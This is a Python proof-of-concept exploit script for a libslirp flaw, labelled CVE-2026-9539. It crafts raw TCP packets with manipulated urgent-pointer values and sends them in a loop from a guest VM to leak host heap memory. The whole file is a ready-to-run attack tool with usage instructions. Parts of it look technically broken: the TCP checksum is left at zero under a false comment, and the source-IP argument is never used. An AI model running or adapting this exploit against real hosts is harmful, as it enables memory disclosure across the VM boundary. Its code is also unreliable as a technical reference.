#!/usr/bin/env python3
# CVE-2026-9539 - libslirp sosendoob OOB Heap Read PoC
# Exploits integer underflow in TCP urgent pointer (ti_urp) handling
# Requires: root or CAP_NET_RAW on the guest VM
import socket
import struct
import os
import sys
def craft_urg_tcp_packet(src_ip, dst_ip, src_port, dst_port, urg_ptr):
"""
Craft a TCP segment with manipulated URG flag and urgent pointer
to trigger OOB heap read in libslirp's sosendoob function.
"""
# TCP header fields
seq = 0
ack = 0
data_offset = 5 # 20 bytes, no options
# Flags: URG (0x20) set, ACK also set for valid handshake state
flags = 0x20 | 0x10 # URG + ACK
window = 65535
checksum = 0
urgent_ptr = urg_ptr # Manipulated urgent pointer value
# Build TCP header (big-endian)
tcp_header = struct.pack('!HHIIBBHHH',
src_port, # Source port
dst_port, # Destination port
seq, # Sequence number
ack, # Acknowledgment number
(data_offset << 4), # Data offset
flags, # TCP flags (URG set)
window, # Window size
checksum, # Checksum (0 for raw socket)
urgent_ptr # Urgent pointer - KEY FIELD for exploitation
)
return tcp_header
def exploit(target_ip, target_port, iterations=1000):
"""
Send crafted TCP segments with manipulated urgent pointers
to trigger heap OOB read in libslirp.
"""
try:
# Create raw socket (requires CAP_NET_RAW)
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
except PermissionError:
print("[-] Error: Requires root or CAP_NET_RAW capability")
sys.exit(1)
src_port = 12345
for i in range(iterations):
# Use urgent pointer values that trigger integer underflow
# Values near 0 or that cause negative offset calculation
if i % 3 == 0:
urg_ptr = 0x0001 # Minimal non-zero value
elif i % 3 == 1:
urg_ptr = 0xFFFF # Maximum value
else:
urg_ptr = 0x0000 # Zero with URG flag set (invalid combination)
pkt = craft_urg_tcp_packet('10.0.2.15', target_ip, src_port, target_port, urg_ptr)
try:
sock.sendto(pkt, (target_ip, 0))
except Exception as e:
print(f"[-] Send error at iteration {i}: {e}")
if i % 100 == 0:
print(f"[*] Sent {i}/{iterations} crafted URG packets (urp=0x{urg_ptr:04x})")
print(f"[+] Exploit complete: {iterations} packets sent")
print("[+] Check host process memory for leaked data")
sock.close()
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_ip> [target_port] [iterations]")
print("Note: Run as root or with CAP_NET_RAW inside guest VM")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
iters = int(sys.argv[3]) if len(sys.argv) > 3 else 1000
print(f"[*] CVE-2026-9539 libslirp sosendoob OOB Read PoC")
print(f"[*] Target: {target}:{port}")
print(f"[*] Iterations: {iters}")
exploit(target, port, iters)